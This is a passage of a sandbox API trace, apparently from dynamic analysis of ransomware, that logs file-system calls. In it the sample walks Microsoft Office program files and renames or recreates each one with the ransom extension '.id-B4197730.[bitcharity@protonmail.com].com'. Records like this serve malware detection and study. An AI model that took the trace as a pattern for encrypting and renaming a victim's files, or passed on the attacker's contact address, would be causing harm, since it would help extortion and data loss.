lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.125] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.125] CloseHandle (hObject=0x1268) returned 1 [0249.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.125] lstrlenW (lpString=".doc") returned 4 [0249.127] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.127] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.127] CloseHandle (hObject=0x1268) returned 1 [0249.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.128] lstrlenW (lpString=".doc") returned 4 [0249.129] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.129] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.129] CloseHandle (hObject=0x1268) returned 1 [0249.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.130] lstrlenW (lpString=".doc") returned 4 [0249.131] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.131] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.131] CloseHandle (hObject=0x1268) returned 1 [0249.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0249.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0249.132] lstrlenW (lpString=".doc") returned 4 [0249.133] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.133] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.133] CloseHandle (hObject=0x1268) returned 1 [0249.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0249.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0249.134] lstrlenW (lpString=".doc") returned 4 [0249.137] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.137] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.137] CloseHandle (hObject=0x1268) returned 1 [0249.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.138] lstrlenW (lpString=".doc") returned 4 [0249.561] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.588] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.589] CloseHandle (hObject=0x1268) returned 1 [0249.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.589] lstrlenW (lpString=".doc") returned 4 [0249.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0249.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0249.605] lstrlenW (lpString=".doc") returned 4 [0249.667] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.667] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.667] CloseHandle (hObject=0x1268) returned 1 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0249.668] lstrlenW (lpString=".doc") returned 4 [0249.670] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.670] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.670] CloseHandle (hObject=0x1268) returned 1 [0249.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0249.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0249.671] lstrlenW (lpString=".doc") returned 4 [0249.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0249.679] lstrlenW (lpString=".doc") returned 4 [0249.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0249.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0249.690] lstrlenW (lpString=".doc") returned 4 [0249.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0249.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0249.692] lstrlenW (lpString=".doc") returned 4 [0249.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0249.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0249.696] lstrlenW (lpString=".doc") returned 4 [0249.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0249.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0249.696] lstrlenW (lpString=".doc") returned 4 [0249.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0249.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0249.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0249.697] lstrlenW (lpString=".doc") returned 4 [0249.773] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.773] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.553] CloseHandle (hObject=0x1258) returned 1 [0250.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0250.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0250.554] lstrlenW (lpString=".doc") returned 4 [0250.869] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.869] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.869] CloseHandle (hObject=0x1274) returned 1 [0250.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0250.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0250.869] lstrlenW (lpString=".doc") returned 4 [0250.870] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.870] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.871] CloseHandle (hObject=0x1274) returned 1 [0250.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0250.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0250.871] lstrlenW (lpString=".doc") returned 4 [0250.872] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.872] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.872] CloseHandle (hObject=0x1274) returned 1 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0250.872] lstrlenW (lpString=".doc") returned 4 [0250.873] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.873] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.874] CloseHandle (hObject=0x1274) returned 1 [0250.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0250.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0250.874] lstrlenW (lpString=".doc") returned 4 [0250.875] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.875] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.875] CloseHandle (hObject=0x1274) returned 1 [0250.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0250.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0250.876] lstrlenW (lpString=".doc") returned 4 [0250.876] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.876] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.877] CloseHandle (hObject=0x1274) returned 1 [0250.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0250.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0250.877] lstrlenW (lpString=".doc") returned 4 [0250.878] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.878] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.878] CloseHandle (hObject=0x1274) returned 1 [0250.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0250.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0250.879] lstrlenW (lpString=".doc") returned 4 [0250.879] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.880] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.880] CloseHandle (hObject=0x1274) returned 1 [0250.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0250.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0250.880] lstrlenW (lpString=".doc") returned 4 [0250.881] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.881] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.881] CloseHandle (hObject=0x1274) returned 1 [0250.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0250.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0250.882] lstrlenW (lpString=".doc") returned 4 [0250.882] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.883] 